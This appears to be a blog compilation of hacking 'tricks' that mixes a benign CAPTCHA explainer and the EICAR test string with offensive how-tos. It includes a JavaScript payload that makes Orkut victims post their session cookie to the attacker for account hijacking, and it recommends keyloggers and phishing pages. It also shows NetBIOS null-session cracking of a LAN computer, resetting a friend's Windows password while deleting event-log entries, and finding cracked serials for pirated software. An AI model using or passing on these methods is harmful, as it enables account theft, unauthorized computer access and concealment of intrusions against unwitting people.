The really intresting Topic about Internet Security "The Captcha".
CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challeng-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.
Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find a detailed information on how CAPTCHA works and why they are used.
What Purpose does CAPTCHA Exactly Serve?
CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.
What is the Need to Create a Test that Can Tell Computers and Humans Apart?
For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated softwares to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.
Who Uses CAPTCHA?
CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.
Designing a CAPTCHA System
CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even more harder for computers to figure out the patterns.
Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer.
Breaking the CAPTCHA
The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.
How to reset LINUX forgotten password
Too forgetful or too much security enforcements that have caused you to lost a Linux root password, as most of the time you’re forced to use sudo command for daily admin tasks?
Don’t be so much worry or regret, as you might able to easily reset a Linux lost password in a short while!
I’ve personally tested this LINUX trick in Red Hat Linux9 default installation environment. So, I believe the same trick can be applied on most Linux distribution as well.
A step-by-step Linux password hacking trick – How to reset Linux forgotten root password?
Reboot the Linux machine by pressing the hardware reset button. In a default Linux installation, pressing
CTRL+ALT+DEL hotkey might able to reboot LINUX immediately too.
Upon Linux booting up to GRUB loader GUI, move the arrow key up/down to highlight and select the Linux kernel and press e to edit the GRUB commands before booting:
Next, move the arrow key up/down to select the Linux kernel and press e again:
Append a single space followed by the word single at the end of edited line, as shown in this snapshot:
After pressing ENTER key, you should now have a similar GRUB screenshot as of follow. Keep the Linux kernel highlighted and press b to boot up with the “single” keyword, which will boot Linux into single user maintenance mode:
Once the Linux boot up completely into single user maintenance mode, the Linux command prompt is ready to execute command. Now, you can type passwd to reset the forgotten root password – without prompting for old root password, just type a new root password and re-type to confirm:
Done. Type reboot or exit to reboot. On next boot up, you can login with the new root password!
So, isn’t it easy to hack or reset a forgotten root password in Linux? Yes, this Linux trick works well on
Red Hat LINUX Enterprise linux4 too. However, bear in mind that the trick will only valid for a default Linux installation or without strengthening Linux security!
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How to find someone's IP address
Finding out someone's IP address is like finding their phone number, an IP address can be used to find the general location where that person lives. Sometimes its necessary to find out an IP address in order to report an internet crime such as stalking or harrassment. The best way to find out someone's IP address is by using an instant messaging program such as MSN Messenger or AIM since this opens up a direct line of communication between the two computers. It only takes a few easy steps to track an IP address after opening communication.
How to Find out someone's IP Address using MSN messenger
1.Chat with the person on MSN Messenger.
2.Click “Start” on your computer
3.Click “Run” box.
4.Type in “cmd” or “command.” Press “Enter” on your keyboard.
5.Type “netstat” into the Command Screen.
6.The IP address of the person you are chatting with will come up.
How to Find Out Someone's IP Address Using AIM(GTalk,Yahoo Messenger)
1.Chat with the person on AIM and open a direct connection.
2.Open cmd and type "netstat"
prank Orkut and Facebook hack tricks
In this post I will show you how to make your friend fool using some cool javascripts.Let we started with Prank Orkut Hack
Script To Hack Orkut
Alright this is not what you think it is just a prank to play with your friends, just pass them the followint javascript and what they will see is just a message that their account is being hacked, Old trick but always work for a good laugh.
Tell your friends to do the following only, you can yourself also try, as i said this is not a hacking script.
1.Paste the following script in the Address Bar (Address Bar is where you type website addresses)
2.and press enter thats it.
javascript:function reverse() { var inp = " hsetih yb dekcah si tnuocca tukro ruoy "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse();
Script To Hack FaceBook
Alright this is not what you think it is just a prank to play with your friends, just pass them the followint javascript and what they will see is just a message that their account is being hacked, Old trick but always work for a good laugh.
Tell your friends to do the following only, you can yourself also try, as i said this is not a hacking script.
1.Paste the following script in the Address Bar (Address Bar is where you type website addresses)
2.and press enter thats it
.
javascript:function reverse() { var inp = " hsetih yb dekcah si tnuocca koobecaf ruoy "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse();
So Enjoy The Hack...
In this post I will show you How to hack Orkut Account of your Friend for fun.
As Orkut has secred 128 bit SSL connection it will take four steps to open the account page,so its is difficult to Hack orkut Through PHP script stealing Den How we Hack dis.....
Orkut Can hacked using three methods which are:-
(1)Using Keylogger
(2)Using Phising atttack(Fake Orkut Login Page)
(3)Using Cookie editor(Cookie stealing)
(1)Using Keylogger
Keylogger is a software which is use for spy on remote computer.It is Monitoring all the activities,proccess,keystrokes of remote machine where it is installed.When a user login to his/her Orkut account and type password and user name. the Keylogger records user name and password of the user.Keylogger run its Activity in hide mode.You can also send Keylogger to any email address through email or instant messenger.You can download keylogger from the given Link:-
http://www.actualspy.com/
(2)Using Phising attack(Using fake orkut Login page)
Phising is used for stealing information from any remote computer.It is most used tools by Hackers.You can also hack any one Orkut account by using phising attack for dat you have to make a fake login page.
Fake orkut Login page can be send to any Orkut User through scrap,messege.
When User login through fake login page which is viewed same as Orkut login page the user information will be send to developer.You can download Fake Orkut Login page from the following Link:-
http://crack0hack.wetpaint.com/page/Build+Fake+Login+Pages+
(3)Using Cookie Stealing
Cookie stealing is newer method for Orkut Hacking and most of people dont know about it.So guys,For this hacking method ,
(1)You must have installed Mozilla Firefox on your remote machine.
(2)After it installing Mozilla Firefox You need to Download Cookie Editor from following Link:-
aadons.mozilla.org/en-US/firefox/addon/573
(3)You need to have two fake accounts to hack orkut one for reciving cookie and other account is for advertising your script.Well it depends on your choice to have two orkut account.
Cookie Script:
javascript:nobody=replyForm;nobody.toUserId.value=34536569;
nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?
Action.submit’;nobody.submit()
How to use Cookie script:
1.Replace your Uid number “UserId.value=34536569?
How to Replace your Uid
1. Go to your album
2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
3. Now replace your value with the value in the java script.
Your script will look like.
javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?
Action.submit’;nobody.submit()
2.Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter
3.You’ll Get his cookie in your scrapbook.
4.After Getting a cookie go to your orkut Home page , Then click on Tools tab and then go to cookie editor plugin( Tools–> Cookie editor)
5.click filter/refresh.look for ‘orkut_state’ cookie. just double click it and replace the orkut_state part with your victim’s Script
put ur eight digit number in the place of (34536569).
Thats it your done with.
Logout of your orkut and login again and you’ll be in your victims Homepage.
6.So remember guys…if ur on orkut or having any other account….never click or paste in address bar any suspicious script to prevent anyone from hacking/accessing your account.
Making your own Operating System
We can make our own Linux distrubution Operating system By using any of two given websites
First:-Custom NimbleX 2 –
http://custom.nimblex.net/
About The Website:
Custom NimbleX 2 is a website that allows you to create your own operating system without any coding, needed. You choose which programs come with the os you've created, and in minutes you download it.
NOTE: File size is limited, and the .iso images take awhile to download (like all the rest out there).
Now go ahead, and start creating your own operating systems now.
Second:-SUSE Studio –
Code:
http://susestudio.com/
About The Website:
SUSE Studio is a website that allows you to create your own operating system based on openSUSE 11.1 without any coding, needed. I like this one better then the site I originally posted because it has the same aspects, and more to offer as well.
You can make it into a 32bit or 64bit
You can customize how the bootscreen, logon, and wallpaper look, along with the appliance logo as well.
You can change the language too.
You can even import single files that'll be copied to the specified directory, and archives (.tar, .tar.gz, .tar.bz2, .tgz, or .zip) will be extracted into the directory specified. So you can even change the theme it comes with, with a new one before you even test it out for the first time. (Files can be uploaded from your computer or the web)
When you're ready to create your OS, you can create it in a…
* Disk Image (hard disk, USB stick)
* Live CD/DVD (.iso)
* VMware Virtual Machine
* Xen Virtual Machine
You can also change what version it is as well.
NOTE: File size is limited, and the .iso images take awhile to download (like all the rest out there).
once u have registered it will take 2 days to activate.
How to find crack or serial key for any software
Once Again i am back with a worth article for my visitors, This time i am going to explain you that
how you can "Find Serial Key / Cracks for Any Software !".I assume that most of you use
pirated software. Not everyone can afford buying a program like Photoshop, which costs $699.
In this case you can use alternative, free software or you can download a pirated, cracked
version.
Now in this article i am going to explain all possible ways to Find the serial Key
a.) Using Google
b.) Using Craagle Software
c.) Using serials search websites.
Finding Serial Key using Google :
To Get the serial number from googleyou have to just follow these steps :
* Go to Google.
* In the search field type : "Software name" 94FBR
* Where, "Software Name" is the name of the item you want to find the serial number for.
* And in google search Results you will get the list of all those websites where the serial key of the
required software is available.Thats it !! :-)
How to get Serial key using Craagle Software ?
Craagle is a free search engine that allows users to search every sort of cracks, serials, keys,
keygen and covers, without falling into shit, like annoying toolbars, pop-ups, spyware, ad-ware
and mal-ware that the crack sites or search sites abundant with.
It works by doing the searching the cracks, serials or album covers directly from Craagle program
without the need to visit the websites. Craagle has added advantage of able to search for cover
images or graphics for CD, DVD, audio, games and etc.You can also use a proxy to bypass Day
Limit for some sites.
Download Craagle 4.0 - Click Here
Get Serial keys from Serials Search Engines
Here i also want to present you a list of "clean" crack/Serial Search sites for all the latest warez
to unlock your software.Please note that the site reviews herein only include information about
each site, not the contents of the 'cracks' themselves. Always use a reputable antivirus and
antispyware program on cracks & keygens before using them
Hope you will have no more problems searching for cracks and serial numbers .
Convert Utilities
In this section I will point out about some converter utility which can be used for some extension conversion.
(1) Video to Mp3 converter
Follow the website http://vidtomp3.com and by the help of this website you can convert the youtube vids into mp3 format cause videos are always meant for hear..:P::D .
(2)Zamzar online file conversion utillity
I have seen many websites which provides online file conversion utllity but this one is best among them,Using this website You can be able to convert to all formats like(image,vid,document etc.) to the desired format which you want with the best result.
Follow this link for using this utillity zamzar
(3)File conversion desktop application
If anyone dont have permanent internet connection for using online file conversion utillity,then theres no need to bother about that condition You can convert yours files to desired format using dekstop application,You just need to install an application software on your machine.Using This application You can be able to use the file conversion utillity.
Follow this link to download that desktop application file convertor
How to test working of Antivirus
Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.
1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
2. Rename the file from New Text Document.TXT to myfile.com
3. Now run the antivirus scan on this myfile.com file.
If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.
NOTE: Most antivirus will pop-out a warning message in the Step-1 itself.
You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.
Hacking any Computer inside LAN Network
This technique will be taking advantage of Port 139.Most of the time,Port 139 will be opened.
First of all,I will do a port scanning at the target computer which is 192.168.40.128.This
computer is inside my LAN network.
I will scan it using Nmap...
I get the result and it shows Port 139 is opened up for me.
Now you will need both of these tools:
** USER2SID & SID2USER
** NetBios Auditing Tool
You can get both of them here ==>http://www.4shared.com/file/129152269/9194a9ef/Tools.html
After you get both of them,put them in the C:\ directory.
You now need to create a null session to the target computer.
Now open the Command Prompt and browse to the USER2SID & SID2USER folder.
There will be 2 tools inside it,one will be USER2SID and another one will be SID2USER.
We will first using USER2SID to get the ID..Follow these steps.
#We will test against the Guest account because Guest account is a built in account.
#After we get the ID,we need to do some modification on the ID.
#We take the ID we get from the guest account and modified it become
"5 21 861567501 1383384898 839522115 500".
#Please leave out the S-1-,leave out all the - too...
#Now you will see that you get the username of the Administrator account.
In this case,the Administrator account is Administrator.
#Create a text file called user.txt and the content will be the username of the Admin account...
#Prepare yourself a good wordlist...
#Now put both of them in the same directory with the NetBios Auditing Tool.
#Now we are going to crack the Admin account for the password in order to access to the target computer.
#Browse to the NetBios Auditing Tool directory.
#Press on enter and the tool will run through the passlist.
#In this case,I have get the password.
#In order to proof that I can get access to the target computer using this password.
#After you press enter,it will prompt you for the username and password.
#Therefore,just input them inside the prompt and continue.
#Target C drive will be on your screen...
In order to prevent from this attack,close down port that you do not want to use such as Port 135,Port 136,Port 137,Port 138 and Port 139...
How to use a Trial program without activation
In this post I’ll show you how to “hack” a Software and run the trial program forever.
Most of us are familiar with many software's that run only for a specified period of
time in the trial mode. Once the trial period is expired these software's stop
functioning and demand for a purchase. But there is a way to run the software's and
make them function beyond the trial period. Isn’t this interesting?
Before I tell you how to “hack” the software and make it run in the trial mode
forever, we have to understand the functioning of these software's. I’ll try to explain
this in brief.
When these software's are installed for the first time, they make an entry into the
Windows Registry with the details such as Installed Date and Time, installed path
etc. After installation every time you run the software, it compares the current
system date and time with the installed date and time. So, with this it can make out
whether the trial period is expired or not.
So with this being the case, just manually changing the system date to an earlier date
will not solve the problem. For this purpose there is a small Tool known as RunAsDate.
RunAsDate is a small utility that allows you to run a program in the date and time
that you specify. This utility doesn’t change the current system date, but it only
injects the date/time that you specify into the desired application.
RunAsDate intercepts the kernel API calls that returns the current date and time
(GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the
current date/time with the date/time that you specify.
It works with Windows 2000, XP, 2003 and Vista.
NOTE: FOLLOW THESE TIPS CAREFULLY
You have to follow these tips carefully to successfully “hack” a software and make it
run in it’s trial mode forever.
1. Note down the date and time, when you install the software for the first time.
2. Once the trial period expires, you must always run the software using RunAsDate.
3. After the trial period is expired, do not run the software(program) directly. If you
run the software directly even once, this “hack” may no longer work.
4. It is better and safe to inject the date of the last day in the trial period.
For example, if the trial period expires on jan 30 2009, always inject the date as jan
29 2009 in the RunAsDate.
RunAsDate can be downloaded from here:
http://www.nirsoft.net/utils/run_as_date.html
I hope this helps!
How to recover your Delete data
In this post I will show you How to recover your deleted Data.Sometimes you delete some datas like:-movie,song,file for saving your Disk Space. using Shift + Del Thats ok you deleted data because you think dat data is unneccesary,But sometimes After deleting Data You realise that "Oh God why I deleted dis"..So Dont worry Friends I have solution of your problem,Never blame to God..Just Follow my step and get your data back.
You need to install Data Recovery software and you will be able to get back your Data.
You can get Data recovery software from following link
www.001micron.com/
So Enjoy the Hack........
How to hide file in a jpg .
In this post I will show you How to hide file in Any picture(.Jpg format).
Set up:
1. Must have a .zip or .rar compressor.
2. Willingness to learn.
Steps:
1. Save the picture of choice to your desktop.
2. Make a new .rar or .zip folder on your desktop.
3. Add the files you want to hide into the .zip or .rar
4. Click start menu, run, cmd
5. In Command Prompt type cd "desktop" with the quotation marks.
6. Now type in copy /b picturename.jpg + foldername.rar outputfilename.jpg
( If you use .zip then: copy /b picturename.jpg + foldername.zip outputfilename.jpg)
7. Now there should be the outputed file name with a .jpg extension on the desktop.
( Do not close Command Prompt just yet )
8. Double click it to open the picture and check it out.
9. When your done looking, and want to view the hidden files
Type: ren outputfilename.jpg outputfilename.rar or zip.
Now you're done!
A quick info-fact:
With this technique of hiding files in a jpg you can send this to anyone and they just
have to rename the file extension to .zip or .rar.
With this technique the Al-Qaeda operatives were able to send info to others
secretively.
Best of luck....
How to hack an Administrator account of remote computer
Sometimes your want some data from your freind pc and you dont know his/her windows password and at that situtions your freind is also be note there then what should you do??? feel helpless,So never feel helpless because I am with you and I have Solution of your problem.I will show you how to grab into your friend pc wiyhout knowing password....
Trick 1.
1.Strat the pc and pressing F8 button when booting started then you will see some boot options click on SAFE MODE.
2.In Safe mode Login with Administrator account to computer.
3.Now go to CONTROL PANEL and go to USER ACCOUNT click on your existing user account and you will see option TYPE NEW PASSWORD type new password in this field.
4.Now start window normally with your user account and enter renewed password you will be in your friends user account.
Trick 2.
1.Go to run type CMD in it and press enter.
2. in command prompt window type:-
net user aaccount-name desired password.
eg:-
net user hp ******
press enter password will be changed.
They are ordinary tricks for hacking windows password.Now I will show how to crack windows password of secured user accounts.
In case of secured account you will not grab into Administartor account because it is disable or password protected and When you trying to change password using "net user" command you will see an error "Access is denied". then what will we do,Here's the solution-
Trick 3.
1.Run cmd screen type eventvwr and delete an entry of that error event.
2.After deleting the error event now you will run net user command in cmd and will change password.
